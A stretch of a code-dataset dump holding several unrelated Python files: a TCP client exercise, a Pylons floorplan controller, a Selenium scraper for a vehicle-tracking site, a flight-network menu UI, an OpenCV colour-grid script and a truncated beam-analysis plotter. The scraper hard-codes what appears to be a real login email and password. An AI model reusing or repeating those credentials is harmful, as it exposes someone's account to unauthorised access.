file_names in os.walk(p):\n for n in file_names:\n if n[-4:] in [\".mp4\", \".avi\", \".m4v\", \".mkv\", \".mpg\"]:\n f.write(str(n)+'\\n')\n\n","sub_path":"misc/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"653803077","text":"# -*- encoding: utf-8 -*-\n'''\n@File : tcp_client.py\n@Time : 2020/05/05 16:55:54\n@Author : xdbcb8 \n@Version : 1.0\n@Contact : xdbcb8@qq.com\n@WebSite : www.xdbcb8.com\n'''\n\n# here put the import lib\n\nimport socket\n\ntcp_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntcp_s.connect(('127.0.0.1', 9998))\n\nprint(tcp_s.recv(1024).decode('utf-8'))\n\nfor data in [b'A', b'B', b'C']:\n tcp_s.send(data)\n print(tcp_s.recv(1024).decode('utf-8'))\ntcp_s.send(b'exit')\ntcp_s.close()","sub_path":"homework9/01_class_prog/tcp_client.py","file_name":"tcp_client.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"9764627","text":"import logging\nimport os\n\nfrom pylons import request, response, session, tmpl_context as c\nfrom pylons.controllers.util import abort, redirect_to\n\nfrom rentfox.lib.base import BaseController, render\nfrom rentfox import model\nimport rentfox.lib.helpers as h\nimport rentfox.model.meta as meta\nfrom rentfox.lib import valid\n\nimport formencode\nfrom formencode import htmlfill\nfrom pylons.decorators import validate\nfrom pylons.decorators.rest import restrict\nimport webhelpers.paginate as paginate\nfrom sqlalchemy import *\n\nimport re\nimport json\nimport uuid\n\nlog = logging.getLogger(__name__)\n\n\nclass FloorplanController(BaseController):\n @h.authorize(h.is_manager)\n @h.authenticate\n def __before__(self):\n pass\n \n def create(self):\n property_id = request.POST['propertyid']\n \n errorslist = self.validate(action='create', propertyid=property_id)\n \n if errorslist:\n floorplanJSON = {\n 'errors': errorslist\n }\n \n return json.dumps(floorplanJSON)\n \n floorplan_id = str(uuid.uuid1())\n unit_id = request.POST['unitid']\n floorplan_name = request.POST['name']\n floorplan_sqft = request.POST['sqft']\n floorplan_beds = request.POST['beds']\n floorplan_baths = request.POST['baths']\n floorplan_desc = request.POST['description']\n \n model.Floorplan.create(id=floorplan_id,\n propertyid=property_id,\n label=floorplan_name,\n sqft=floorplan_sqft,\n beds=floorplan_beds,\n baths=floorplan_baths,\n description=floorplan_desc)\n \n unit = model.Unit.update_floorplan(unit_id, floorplan_id)\n \n redirect_to(controller='property', action='json', id=property_id)\n \n def uploadPhoto(self):\n photo = model.Floorplan.savePhoto(request.POST['floorplanId'])\n if photo:\n return json.dumps({'success':1})\n else:\n return json.dumps({'errors':[{'selector':'', \"message\":\"Please provide a JPEG, GIF, or PNG image.\"}]})\n \n def save(self, id=None):\n property_id = model.Floorplan.get_propertyid_of_floorplan(id)\n \n errorslist = self.validate(action='save', floorplanid=id, propertyid=property_id)\n \n if errorslist:\n floorplanJSON = {\n 'errors': errorslist\n }\n \n return json.dumps(floorplanJSON)\n \n label = request.POST['name'].strip()\n sqft = request.POST['sqft'].strip()\n beds = request.POST['beds'].strip()\n baths = request.POST['baths'].strip()\n description = request.POST['description'].strip()\n \n model.Floorplan.save(id=id,\n label=label,\n sqft=sqft,\n beds=beds,\n baths=baths,\n description=description)\n \n redirect_to(controller='property', action='json', id=property_id)\n \n def delete(self):\n propertyId = request.POST['propertyId']\n floorplanId = request.POST['floorPlanId']\n model.Floorplan.delete(floorplanId)\n redirect_to(controller='property', action='json', id=propertyId)\n \n def assign(self, id=None):\n \"\"\" Assign floorplan to a unit.\n \"\"\"\n propertyid = request.POST['propertyid']\n unitid = request.POST['unitid']\n \n model.Unit.update_floorplan(unitid, id)\n redirect_to(controller='property', action='json', id=propertyid)\n\n def assignMultiple(self, id=None):\n \"\"\" Assign floorplan to multiple units.\n \"\"\"\n propertyid = request.POST['propertyid']\n units = request.POST['units']\n if units:\n model.Unit.unassign_units_with_floorplan(id)\n \n unitsList = units.split(',')\n for unitid in unitsList:\n model.Unit.update_floorplan(unitid, id)\n \n #meta.Session.query(model.Unit.update().where(model.Unit.c.floorplanid==id).values(floorplanid=None))\n #u = update(model.Unit, model.Unit.c.floorplanid==id)\n #connection.execute(u, floorplanid=None)\n \n redirect_to(controller='property', action='json', id=propertyid)\n\n def validate(self, action=None, floorplanid=None, propertyid=None):\n name = request.POST['name'].strip()\n sqft = request.POST['sqft'].strip()\n beds = request.POST['beds'].strip()\n baths = request.POST['baths'].strip()\n description = request.POST['description'].strip()\n \n errorslist = []\n \n if not valid.label(name):\n errorslist.append({'selector':'#floorPlanName', \"message\":\"Please enter only letters and numbers for the floorplan name\"})\n elif action=='create' or (action=='save' and model.Floorplan.get_name_by_id(floorplanid) != name):\n if model.Floorplan.floorplan_name_exist(name, propertyid):\n errorslist.append({'selector':'#floorPlanName', \"message\": \"Floorplan name already exist\"})\n \n if not valid.floorplan_numbers(sqft) or not valid.sqft(sqft):\n errorslist.append({'selector':'#sqft', \"message\":\"Please enter a valid value for sqft\"})\n \n if not valid.floorplan_numbers(beds) or not valid.beds(beds):\n errorslist.append({'selector':'#beds', \"message\":\"Please enter a valid value for beds\"})\n \n if not valid.floorplan_numbers(baths) or not valid.baths(baths):\n errorslist.append({'selector':'#baths', \"message\":\"Please enter a valid value for baths\"})\n \n if description and not valid.description(description):\n \terrorslist.append({'selector':'#floorPlanDescription', \"message\":'Please enter description without special characters\\\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsuch as \"<\",\"^\",\"@\", etc'})\n \n return errorslist","sub_path":"build/lib.linux-x86_64-2.6/rentfox/controllers/floorplan.py","file_name":"floorplan.py","file_ext":"py","file_size_in_byte":6097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"69004780","text":"import os\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\nchrome_bin = os.environ.get('GOOGLE_CHROME_SHIM', 'google-chrome-stable')\n\nurl = \"http://www.gnsbrasil.com.br/\"\n\nurl2 = \"http://www.xgeo.com.br/Tracker/Relatorios/Resultados/JornadaTrabalho/JornadaTrabalhoConsolidadoMensalGSText.aspx?Id_Cliente=125&Id_Veiculo=TODOS&Funcionario=TODOS&DataInicio=01/07/2018%2000:00:00&DataFim=31/07/2018%2023:59:59&ConducaoNoturnaDe=22:00&ConducaoNoturnaAte=05:00&SegundaFeira=08:00&TercaFeira=08:00&QuartaFeira=08:00&QuintaFeira=08:00&SextaFeira=08:00&Sabado=04:00&TmpMaxCondContinua=05:30&TmpMinDescDiaria=11:00&Consolidar=True\"\n\nfields = ['Motorista','PeríodoInicial','PeríodoFinal','TempodeCondução','TempodeEspera',\n 'TempodeDescanso','TempodeRefeição','TempodeOperação','DetalhamentoDiurno',\n 'DetalhamentoNoturno','HorasExtras','HorasExtrasNormal','HorasExtras30',\n 'HorasExtras100']\n\ndef scrap():\n options = Options()\n\n # Inicializa webdriver\n driver = webdriver.Chrome(chrome_options=options)\n # Aguarda o browser\n driver.implicitly_wait(30)\n\n # Entra na URL\n print('Entrando na URL: '+url)\n driver.get(url)\n\n wait = WebDriverWait(driver, 15)\n\n driver.find_element_by_id('last_name').send_keys(\"francinelio@cdanatal.com.br\")\n driver.find_element_by_id('login-s').send_keys(\"991173924@\")\n driver.find_element_by_class_name('bt-lk').click()\n\n element = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.ID, \"CP_PM_DXI5_T\"))\n )\n\n print('Indo para a segunda url')\n goals = []\n driver.get(url2)\n table = driver.find_element_by_id('rptRelatorio_fixedTable')\n print('Table achada')\n print(table)\n rows = table.find_element_by_tag_name('tr')\n print(rows)\n for row in rows:\n cols = row.find_elements_by_tag_name('td')\n if cols:\n goal = {}\n for i, field in enumerate(fields):\n val = cols[i].text\n try:\n goal[field] = int(val)\n except ValueError:\n goal[field] = val.title()\n goals.append(goal)\n print(goal)\n\n print(goals)\n driver.close()\nscrap()\n\n","sub_path":"Projects/GSNBrasil/gnsbrasil.py","file_name":"gnsbrasil.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"340394757","text":"from graph import Graph\nimport stats\n\n\"\"\"\nMain UI \n\"\"\"\n\ndef main():\n \"\"\"\n Main function that controls Gameplay\n \"\"\"\n control = 'z'\n \n while(control == 'z'):\n print(\"Welcome to CSAir! Enter corresponding letter for options below.\")\n print(\"1) To load original data\")\n print(\"2) To load from saved data. May or may not contain additional data\")\n print(\"3) To load from original data + Additional Data\")\n control = raw_input()\n \n \n g = Graph(control)\n control = 'x'\n print(\"Welcome to CSAir! Enter corresponding letter for options below.\")\n \n while (control == 'x'): \n print(\"a) Cities CSAir flies to\")\n print(\"b) Info of a particular city\")\n print(\"c) Longest flight in CSAir network\")\n print(\"d) Shortest flight in CSAir network\")\n print(\"e) Average distance of flights in CSAir network\")\n print(\"f) Biggest city served by CSAir\")\n print(\"g) Smallest city served by CSrAir\")\n print(\"h) Average size of cities served by CSAir\")\n print(\"i) Continents served by CSAir\")\n print(\"j) CSAir's hub city\")\n print(\"k) Visualize Routes\")\n print(\"l) Remove a City\")\n print(\"m) Remove a Route\")\n print(\"n) Add a City\")\n print(\"o) Add a Route\")\n print(\"p) Edit a City\")\n print(\"r) Save File\")\n print(\"s) Get Route Information\")\n \n print(\"q) Quit\")\n choice = raw_input()\n \n if(choice == \"a\"):\n print(stats.print_cities(g))\n \n if(choice == \"b\"):\n city_name = raw_input(\"Enter name of City\\n\")\n stats.get_city_info(g, city_name)\n \n if(choice == \"c\"):\n source, destination, distance = stats.longest_flight(g)\n print(\"Longest flight is from {} to {} with a distance of {}\").format(source, destination, distance)\n \n if(choice == \"d\"):\n source, destination, distance = stats.shortest_flight(g)\n print(\"Shortest flight is from {} to {} with a distance of {}\").format(source, destination, distance)\n \n if(choice == \"e\"):\n print(stats.average_flight(g))\n \n if(choice == \"f\"):\n max_city, max_size = stats.biggest_city(g)\n print(\"Biggest city is {} with a population of {}\").format(max_city, max_size)\n \n if(choice == \"g\"):\n min_city, min_size = stats.smallest_city(g)\n print(\"Biggest city is {} with a population of {}\").format(min_city, min_size)\n \n if(choice == \"h\"):\n print(stats.average_city(g))\n \n if(choice == \"i\"):\n stats.continents(g)\n \n if(choice == \"j\"):\n print(\"The hub cities are: \\n\")\n print(stats.hub_city(g))\n \n if(choice == \"k\"):\n print(stats.visualize(g))\n \n if(choice == \"l\"):\n city_name = raw_input(\"Enter name of City to remove\\n\")\n g = stats.remove_city(g, city_name)\n print(\"Done!\")\n \n if(choice == \"m\"):\n origin = raw_input(\"Enter origin name of route to remove\\n\")\n destination = raw_input(\"Enter destination name of route to remove\\n\")\n choice_dir = raw_input(\"Remove in both directions? y or n \\n\")\n g = stats.remove_route(g, origin, destination, choice_dir)\n print(\"Done!\")\n \n if(choice == \"n\"):\n code = raw_input(\"Enter code for City\\n\")\n name = raw_input(\"Enter name for City\\n\")\n country = raw_input(\"Enter Country\\n\")\n continent = raw_input(\"Enter Continent\\n\")\n timezone = raw_input(\"Enter TimeZone of City\\n\")\n coordinates = raw_input(\"Enter Coordinates of City\\n\")\n population = raw_input(\"Enter Population City\\n\")\n region = raw_input(\"Enter Region of City\\n\")\n g = stats.add_city(g, code, name, country, continent, timezone, coordinates, population, region)\n print(\"Done!\")\n \n if(choice == \"o\"):\n origin = raw_input(\"Enter origin name of route to add\\n\")\n destination = raw_input(\"Enter destination name of route to add\\n\")\n distance = raw_input(\"Enter distance of route to add\\n\")\n choice_dir = raw_input(\"Add in both directions? y or n \\n\")\n g = stats.add_route(g, origin, destination, distance, choice_dir)\n print(\"Done!\")\n \n if(choice == \"p\"):\n city_name = raw_input(\"Enter name of city to edit. Remember, city names and codes are immutable\\n\")\n option = raw_input(\"What do you want to edit: country, continent, timezone, coordinates, population, region\\n\")\n value = raw_input(\"Enter new value\\n\")\n g = stats.edit_city(g, city_name, option, value)\n print(\"Done\")\n \n if(choice == \"r\"):\n g.save_file()\n \n if(choice == \"s\"):\n distance, cost, time = route_info(g)\n if(distance != 0):\n print(\"Total distance is {} with a cost of {} and taking time {} hours\").format(distance, cost, time)\n \n \n \n \n if(choice != \"a\" and choice != \"b\" and choice != \"c\" and choice != \"d\" and choice != \"e\" and choice != \"f\" and choice != \"g\" and choice != \"h\" and choice != \"i\" and choice != \"j\" and choice != \"q\" and choice != \"k\" and choice != \"l\" and choice != \"m\" and choice != \"n\" and choice != \"p\" and choice != \"r\" and choice != \"s\"):\n print(\"Invalid Input\")\n \n if(choice == \"q\"):\n control = 'q'\n \ndef route_info(g):\n \"\"\"\n To get the route info\n \"\"\"\n journey = []\n choice = \"x\"\n while(choice == \"x\"):\n choice = raw_input(\"Enter city name. One by one. q to quit\")\n \n if(choice == \"q\"):\n distance, cost, time = stats.route_info(g, journey)\n return distance, cost, time\n else:\n journey.append(choice)\n choice = \"x\"\n \n \nmain()\n","sub_path":"CSAir2.1/Assignment2.1/src/UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":6228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"102080267","text":"import cv2\nimport numpy as np\n\ndef nothing(x):\n pass \n\ndef detectColor(b, g, r):\n\t# define range of blue color in HSV\n\tlower_blue = np.array([106,50,50])\n\tupper_blue = np.array([112,255,255])\n\n\tlower_red = np.array([1,150,55])\n\tupper_red = np.array([9,255,153])\n\n\tlower_green = np.array([39,118,33])\n\tupper_green = np.array([79,224,86])\n\n\tlower_orange = np.array([6,217,153])\n\tupper_orange = np.array([12,234,184])\n\n\tlower_pink = np.array([1,130,0])\n\tupper_pink = np.array([14,150,190])\n\n\tlower_grey = np.array([27,36,58])\n\tupper_grey = np.array([44,63,93])\n\n\t\n\tcolor = np.uint8([[[b,g,r ]]])\n\thsv = cv2.cvtColor(color,cv2.COLOR_BGR2HSV)\n\n\tpixel=hsv[0,0]\n\n\th=pixel[0]\n\ts=pixel[1]\n\tv=pixel[2]\n\n\tif h >= lower_blue[0] and h < upper_blue[0] and s >= lower_blue[1] and s < upper_blue[1] and v >= lower_blue[2] and v < upper_blue[2] :\n\t\tcol=\"bleu\"\n\telif h >= lower_red[0] and h < upper_red[0] and s >= lower_red[1] and s < upper_red[1] and v >= lower_red[2] and v < upper_red[2] :\n\t\tcol=\"red\"\n\telif h >= lower_green[0] and h < upper_green[0] and s >= lower_green[1] and s < upper_green[1] and v >= lower_green[2] and v < upper_green[2] :\n\t\tcol=\"green\"\n\telif h >= lower_orange[0] and h < upper_orange[0] and s >= lower_orange[1] and s < upper_orange[1] and v >= lower_orange[2] and v < upper_orange[2] :\n\t\tcol=\"orange\"\n\telif h >= lower_pink[0] and h < upper_pink[0] and s >= lower_pink[1] and s < upper_pink[1] and v >= lower_pink[2] and v < upper_pink[2] :\n\t\tcol=\"pink\"\n\telif h >= lower_grey[0] and h < upper_grey[0] and s >= lower_grey[1] and s < upper_grey[1] and v >= lower_grey[2] and v < upper_grey[2] :\n\t\tcol=\"grey\"\n\telse :\n\t\tcol=\"????\"\n\treturn col\n\n\nimg = cv2.imread('Pablo_step1.png', 1)\nimgorig = cv2.imread('pstep3.png', 1)\n#img = cv2.imread('5TTQ7iv.jpg', 1)\nhsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n#Detecter les coins\n#orange\nlower_range = np.array([20/2, 200, 0], dtype=np.uint8)\nupper_range = np.array([40/2, 255, 255], dtype=np.uint8)\nmask = cv2.inRange(hsv, lower_range, upper_range)\nheight = np.size(img, 0)\nwidth = np.size(img, 1)\n\n#Redresser ?\n\n#diviser en grille 924/602\n#32/32 ?\nxmin=0\nxmax=92\nymin=106\nymax=538\ncv2.line(img,(xmin,ymin),(xmax,ymin),(255,0,0),1)\ncv2.line(img,(xmax,ymin),(xmax,ymax),(255,0,0),1)\ncv2.line(img,(xmax,ymax),(xmin,ymax),(255,0,0),1)\ncv2.line(img,(xmin,ymax),(xmin,ymin),(255,0,0),1)\n\n#nbx=6\n#nby=35\n\nnbx=5\nnby=5\n\n\ndx=float(xmax-xmin)/float(nbx)\ndy=float(ymax-ymin)/float(nby)\n\nfor x in range(0, nbx):\n\txg=(int)(float(x)*dx)\n\tcv2.line(img,(xmin+xg,ymin),(xmin+xg,ymax),(0,255,0),1)\nfor y in range(0, nby):\n\tyg=(int)(float(y)*dy)\n\tcv2.line(img,(xmin,ymin+yg),(xmax,ymin+yg),(0,0,255),1)\n\n#Moyenner\nim2lx=xmax-xmin\nim2ly=ymax-ymin\nimg2 = np.zeros((im2ly,im2lx,3), np.uint8) \n\nfor ligne in range(0, nby) :\n\tfor colonne in range(0, nbx) :\n\t\t#calcul 1er carre\n\t\t#B V R\n\t\tsb=0\n\t\tsv=0\n\t\tsr=0\n\t\tfor x in range(0, int(dx)):\n\t\t\tfor y in range(0, int(dy)):\n\t\t\t\tpx=int(x+xmin+colonne*dx)\n\t\t\t\tpy=int(y+ymin+ligne*dx)\n\t\t\t\tif py>ymax-1 :\n\t\t\t\t\tpy=ymax-1\n\t\t\t\tif px>xmax-1 :\n\t\t\t\t\tpx=xmax-1\n\t\t\t\tpixel=img[py,px]\n\t\t\t\tbcolor = pixel[0]\n\t\t\t\tsb=sb+bcolor\n\t\t\t\tvcolor = pixel[1]\n\t\t\t\tsv=sv+vcolor\n\t\t\t\trcolor = pixel[2]\n\t\t\t\tsr=sr+rcolor\n\n\t\tsb=sb/(dx*dy)\n\t\tsv=sv/(dx*dy)\n\t\tsr=sr/(dx*dy)\n\n\t\ty1=int((ligne)*dy)\n\t\tx1=int((colonne)*dx)\n\t\ty2=int(dx+(ligne)*dy)\n\t\tx2=int((colonne)*dx+dx)\n\t\t\n\n\t\tcol=detectColor(sb, sv, sr)\n\t\tcv2.rectangle(img2, (x1,y1), (x2, y2), (int(sb),int(sv),int(sr)), thickness=-1)\t\t\n\t\tif col==\"bleu\":\n\t\t\tcv2.rectangle(img2, (x1,y1), (x2, y2), (255,0,0), thickness=1)\n\t\t\tcv2.rectangle(imgorig, (x1+xmin,y1+ymin), (x2+xmin, y2+ymin), (255,0,0), thickness=2)\n\t\telif col==\"red\":\n\t\t\tcv2.rectangle(img2, (x1,y1), (x2, y2), (0,0,255), thickness=1)\n\t\t\tcv2.rectangle(imgorig, (x1+xmin,y1+ymin), (x2+xmin, y2+ymin), (0,0,255), thickness=2)\n\t\telif col==\"green\":\n\t\t\tcv2.rectangle(img2, (x1,y1), (x2, y2), (0,255,0), thickness=1)\n\t\t\tcv2.rectangle(imgorig, (x1+xmin,y1+ymin), (x2+xmin, y2+ymin), (0,255,0), thickness=2)\n\t\telif col==\"orange\":\n\t\t\tcv2.rectangle(img2, (x1,y1), (x2, y2), (0,140,255), thickness=1)\n\t\t\tcv2.rectangle(imgorig, (x1+xmin,y1+ymin), (x2+xmin, y2+ymin), (0,140,255), thickness=2)\n\t\telif col==\"pink\":\n\t\t\tcv2.rectangle(img2, (x1,y1), (x2, y2), (140,0,255), thickness=1)\n\t\t\tcv2.rectangle(imgorig, (x1+xmin,y1+ymin), (x2+xmin, y2+ymin), (140,0,255), thickness=2)\n\t\telif col==\"grey\":\n\t\t\tcv2.rectangle(img2, (x1,y1), (x2, y2), (128,128,128), thickness=1)\n\t\t\tcv2.rectangle(imgorig, (x1+xmin,y1+ymin), (x2+xmin, y2+ymin), (128,128,128), thickness=2)\n\t\t\t\ncv2.imshow('mask',img2)\n\ncv2.namedWindow('image')\n\ncv2.createTrackbar('hl','image',0,255,nothing)\ncv2.createTrackbar('sl','image',0,255,nothing)\ncv2.createTrackbar('vl','image',0,255,nothing)\ncv2.createTrackbar('hh','image',0,255,nothing)\ncv2.createTrackbar('sh','image',0,255,nothing)\ncv2.createTrackbar('vh','image',0,255,nothing)\n\ncv2.setTrackbarPos('hl','image',0)\ncv2.setTrackbarPos('sl','image',0)\ncv2.setTrackbarPos('vl','image',0)\ncv2.setTrackbarPos('hh','image',255)\ncv2.setTrackbarPos('sh','image',255)\ncv2.setTrackbarPos('vh','image',255)\n\ncv2.imshow('orig',imgorig)\n\nwhile(1):\n k = cv2.waitKey(1) & 0xFF\n if k == 27:\n break\n\n # get current positions of four trackbars\n hl = cv2.getTrackbarPos('hl','image')\n sl = cv2.getTrackbarPos('sl','image')\n vl = cv2.getTrackbarPos('vl','image')\n hh = cv2.getTrackbarPos('hh','image')\n sh = cv2.getTrackbarPos('sh','image')\n vh = cv2.getTrackbarPos('vh','image')\n\n hsv = cv2.cvtColor(img2,cv2.COLOR_BGR2HSV)\n thrImg = cv2.inRange(hsv,np.array([hl,sl,vl]),np.array([hh,sh,vh]))\n # Bitwise-AND mask and original image\n res = cv2.bitwise_and(img2,img2, mask= thrImg)\n cv2.imshow('image',res)\n\ncv2.imwrite('pstep5.png',img)\ncv2.imwrite('pstep6.png',img2)\ncv2.imwrite('pstep7.png',imgorig)\ncv2.destroyAllWindows()\n","sub_path":"python/Grille/grille3_Pablo_img1.py","file_name":"grille3_Pablo_img1.py","file_ext":"py","file_size_in_byte":5815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"151775700","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport os\r\n\r\nmonoplane_dir = 'D:\\\\data\\\\2012-03-05 (truegrid-VABS-DYMORE mesh refinement)\\\\grid_density_1\\\\dymore\\\\FIGURES'\r\n\r\n### SET THESE PARAMETERS FOR THE BIPLANE SPAR ###########################################\r\n# 07-bispar-rj629-g100 (with root joint)\r\nbiplane_dir = 'D:\\\\data\\\\2012-05-18 (biplane spars, with root joint, full shear web height)\\\\07-bispar-rj629-g100\\\\FIGURES'\r\nA = 0.0\r\nB = 0.2\r\nC = 4.4\r\nD = 41.5\r\nE = 57.8\r\nF = 91.9\r\nG = C\r\nH = D\r\n\r\n\r\n#########################################################################################\r\n\r\n\r\nos.chdir('D:\\\\data')\r\n\r\nplt.close('all')\r\n\r\nskip_every = 3 # only plot results at each of the spar stations (every 3rd entry, since we used 3rd-order beam elements)\r\nx1_stn = np.array([0.0, 0.2, 2.3, 4.4, 6.5, 9.0, 12.2, 13.9, 15.5, 17.1, 19.8, 22.5, 25.2, 33.4, 41.5, 49.6, 57.8, 64.3, 65.9, 70.8, 74.0, 82.2, 87.0, 91.9]) # x1 coordinates of all 24 spar stations\r\ncs_heights_mono = np.array([5.392, 5.375, 5.089, 4.791, 4.455, 4.101, 3.680, 3.480, 3.285, 3.089, 2.882, 2.696, 2.498, 2.077, 1.672, 1.360, 1.138, 0.954, 0.910, 0.832, 0.796, 0.707, 0.651, 0.508]) # cross-sectional heights of all 24 monoplane spar stations\r\nI_mono = np.array([3.8579, 3.6622, 3.0272, 2.5015, 2.2209, 1.8770, 1.6211, 1.5493, 1.4031, 1.3126, 1.1129, 0.9500, 0.7632, 0.4710, 0.2702, 0.1574, 0.0920, 0.0526, 0.0452, 0.0300, 0.0220, 0.0111, 0.0067, 0.0028]) # second moment of area of all 24 monoplane spar stations\r\n\r\n### linear extrapolation and interpolation ###\r\nfrom scipy.interpolate import interp1d\r\nfrom scipy import array\r\n\r\ndef extrap1d(interpolator):\r\n # copied from http://stackoverflow.com/questions/2745329/how-to-make-scipy-interpolate-give-a-an-extrapolated-result-beyond-the-input-ran\r\n xs = interpolator.x\r\n ys = interpolator.y\r\n\r\n def pointwise(x):\r\n if x < xs[0]:\r\n return ys[0]+(x-xs[0])*(ys[1]-ys[0])/(xs[1]-xs[0])\r\n elif x > xs[-1]:\r\n return ys[-1]+(x-xs[-1])*(ys[-1]-ys[-2])/(xs[-1]-xs[-2])\r\n else:\r\n return interpolator(x)\r\n\r\n def ufunclike(xs):\r\n return array(map(pointwise, array(xs)))\r\n\r\n return ufunclike\r\n\r\ndef plot_monospar_deflection(skip_num):\r\n ### monoplane spar ###\r\n os.chdir(monoplane_dir)\r\n AB = np.loadtxt('svy_disp_spar.mdt')\r\n B = 91.9\r\n AB[:,0] = AB[:,0]*B\r\n plt.plot(AB[::skip_num,0], AB[::skip_num,3], 'bo--', label='monoplane spar')\r\n mono_defl_data = np.vstack( (AB[::skip_num,0],AB[::skip_num,3]) ).T\r\n plt.show()\r\n\r\n return mono_defl_data\r\n\r\n\r\ndef plot_monospar_rotation(skip_num):\r\n ### monoplane spar ###\r\n os.chdir(monoplane_dir)\r\n AB = np.loadtxt('svy_disp_spar.mdt')\r\n B = 91.9\r\n AB[:,0] = AB[:,0]*B\r\n plt.plot(AB[::skip_num,0], AB[::skip_num,5], 'bo--', label='monoplane spar')\r\n plt.show()\r\n\r\n return\r\n\r\n\r\ndef plot_monospar_shearforce(x1):\r\n ### monoplane spar ###\r\n os.chdir(monoplane_dir)\r\n AB = np.loadtxt('svy_force_spar.mdt')\r\n B = 91.9\r\n AB[:,0] = AB[:,0]*B\r\n\r\n x = AB[:,0]\r\n y = AB[:,3]\r\n f_i = interp1d(x,y)\r\n f_x = extrap1d(f_i)\r\n\r\n # x1 = np.array([0.0, 0.2, 2.3, 4.4, 6.5, 9.0, 12.2, 13.9, 15.5, 17.1, 19.8, 22.5, 25.2, 33.4, 41.5, 49.6, 57.8, 64.3, 65.9, 70.8, 74.0, 82.2, 87.0, 91.9]) # x1 coordinates of all 24 spar stations\r\n # y1 = f(x1) # use interpolations function returned by 'interp1d'\r\n y1 = f_x(x1) # use extrapolations function returned by 'extrap1d'\r\n\r\n # plt.plot(x, y, 'o', x1, y1, 'rs-') # test that interpolation and extrapolation are working properly\r\n plt.plot(x1, y1, 'bo--', label='monoplane spar')\r\n plt.show()\r\n\r\n return\r\n\r\n\r\ndef plot_monospar_bendmoment(x1):\r\n ### monoplane spar ###\r\n os.chdir(monoplane_dir)\r\n AB = np.loadtxt('svy_force_spar.mdt')\r\n B = 91.9\r\n AB[:,0] = AB[:,0]*B\r\n\r\n x = AB[:,0]\r\n y = AB[:,5]\r\n f_i = interp1d(x,y)\r\n f_x = extrap1d(f_i)\r\n\r\n # x1 = np.array([0.0, 0.2, 2.3, 4.4, 6.5, 9.0, 12.2, 13.9, 15.5, 17.1, 19.8, 22.5, 25.2, 33.4, 41.5, 49.6, 57.8, 64.3, 65.9, 70.8, 74.0, 82.2, 87.0, 91.9]) # x1 coordinates of all 24 spar stations\r\n y1 = f_x(x1) # use extrapolations function returned by 'extrap1d'\r\n\r\n # plt.plot(x, y, 'o', x1, y1, 'rs-')\r\n plt.plot(x1, y1, 'bo--', label='monoplane spar')\r\n plt.show()\r\n\r\n return\r\n\r\n\r\ndef plot_monospar_stress(x1, h, I):\r\n ### monoplane spar ###\r\n os.chdir(monoplane_dir)\r\n AB = np.loadtxt('svy_force_spar.mdt')\r\n B = 91.9\r\n AB[:,0] = AB[:,0]*B\r\n\r\n x = AB[:,0]\r\n y = AB[:,5]\r\n f_i = interp1d(x,y)\r\n f_x = extrap1d(f_i)\r\n\r\n M = f_x(x1) # use extrapolations function returned by 'extrap1d'\r\n\r\n # how to calculate bending stress...\r\n # sigma = (M*h)/I, where\r\n # sigma = bending stress [N/m^2]\r\n # M = bending moment [N*m]\r\n # h = the perpendicular distance to the neutral axis (cs_heights[i]/2)\r\n # I = second moment of area about the neutral axis\r\n\r\n sigma = (M*h)/I\r\n\r\n # plt.plot(AB[::skip_num,0], cs_heights*AB[::skip_num,5], 'b--', label='monoplane spar')\r\n\r\n plt.plot(x1, sigma, 'bo--', label='monoplane spar')\r\n plt.show()\r\n\r\n return\r\n\r\n\r\ndef load_bispar_displacement():\r\n AB = np.loadtxt('svy_disp_AB.mdt')\r\n BC = np.loadtxt('svy_disp_BC.mdt')\r\n BG = np.loadtxt('svy_disp_BG.mdt')\r\n CD = np.loadtxt('svy_disp_CD.mdt')\r\n DE = np.loadtxt('svy_disp_DE.mdt')\r\n EF = np.loadtxt('svy_disp_EF.mdt')\r\n GH = np.loadtxt('svy_disp_GH.mdt')\r\n HE = np.loadtxt('svy_disp_HE.mdt')\r\n\r\n return (AB,BC,CD,DE,EF,BG,GH,HE)\r\n\r\n\r\ndef load_bispar_force():\r\n AB = np.loadtxt('svy_force_AB.mdt')\r\n BC = np.loadtxt('svy_force_BC.mdt')\r\n BG = np.loadtxt('svy_force_BG.mdt')\r\n CD = np.loadtxt('svy_force_CD.mdt')\r\n DE = np.loadtxt('svy_force_DE.mdt')\r\n EF = np.loadtxt('svy_force_EF.mdt')\r\n GH = np.loadtxt('svy_force_GH.mdt')\r\n HE = np.loadtxt('svy_force_HE.mdt')\r\n\r\n return (AB,BC,CD,DE,EF,BG,GH,HE)\r\n\r\n\r\ndef load_bispar_strain():\r\n AB = np.loadtxt('svy_strain_AB.mdt')\r\n BC = np.loadtxt('svy_strain_BC.mdt')\r\n BG = np.loadtxt('svy_strain_BG.mdt')\r\n CD = np.loadtxt('svy_strain_CD.mdt')\r\n DE = np.loadtxt('svy_strain_DE.mdt')\r\n EF = np.loadtxt('svy_strain_EF.mdt')\r\n GH = np.loadtxt('svy_strain_GH.mdt')\r\n HE = np.loadtxt('svy_strain_HE.mdt')\r\n\r\n return (AB,BC,CD,DE,EF,BG,GH,HE)\r\n\r\n\r\ndef process_bispar_results(AB,BC,CD,DE,EF,BG,GH,HE,A,B,C,D,E,F,G,H):\r\n # post-process the biplane spar results\r\n AB[:,0] = AB[:,0]*(B-A) + A\r\n BC[:,0] = BC[:,0]*(C-B) + B\r\n 